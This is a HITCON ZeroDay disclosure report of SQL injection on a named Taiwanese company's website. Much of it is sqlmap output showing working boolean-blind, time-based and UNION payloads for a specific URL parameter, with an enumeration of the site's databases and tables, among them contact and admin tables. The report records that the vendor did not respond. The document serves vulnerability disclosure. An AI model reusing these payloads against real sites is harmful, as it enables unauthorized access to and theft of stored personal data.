Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00416
- Vendor: 一升科技股份有限公司
- Title: 一升科技股份有限公司多处SQL
- Introduction: 一升科技股份有限公司多处SQL
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/07 20:50:23 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/07 20:57:34 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/08 00:10:05 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:10:20 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:10:21 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/07 03:00:19 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00416
- 通報者:cra5h (Cra5h)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
http://www.firstek.com.tw/product.php?id=42
敘述
一升科技股份有限公司多处SQL
SQL位置:
http://www.firstek.com.tw/news_detail.php?id=15
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 75 HTTP(s) requests:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=15 AND 8507=8507
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=15 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: id=-8902 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170786b71,0x59687956664e754a59626f536d6c617978724653724c786f6e496d6d447577446d414c6a79715062,0x71707a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KdSr
[18:30:18] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[18:30:18] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.firstek.com.tw'
确认影响库:(2库)
available databases [2]:
[] firstekc_firstek
[] information_schema
[18:32:13] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.firstek.com.tw'
查看数据量:
Database: firstekc_firstek
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| c_contact | 806 |
| c_product | 49 |
| c_class | 24 |
| c_slidephoto | 14 |
| c_app | 3 |
| c_admin | 2 |
| c_news | 2 |
| c_article | 1 |
| c_site | 1 |
| record_admin | 1 |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 677 |
| SESSION_VARIABLES | 453 |
| GLOBAL_VARIABLES | 439 |
| GLOBAL_STATUS | 346 |
| SESSION_STATUS | 346 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 219 |
| COLLATIONS | 219 |
| PARTITIONS | 69 |
| TABLES | 69 |
| PLUGINS | 42 |
| CHARACTER_SETS | 40 |
| INNODB_FT_DEFAULT_STOPWORD | 36 |
| SCHEMA_PRIVILEGES | 18 |
| KEY_COLUMN_USAGE | 10 |
| STATISTICS | 10 |
| TABLE_CONSTRAINTS | 10 |
| ENGINES | 9 |
| SCHEMATA | 2 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+
[19:22:18] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.firstek.com.tw'
修補建議
过滤,参数化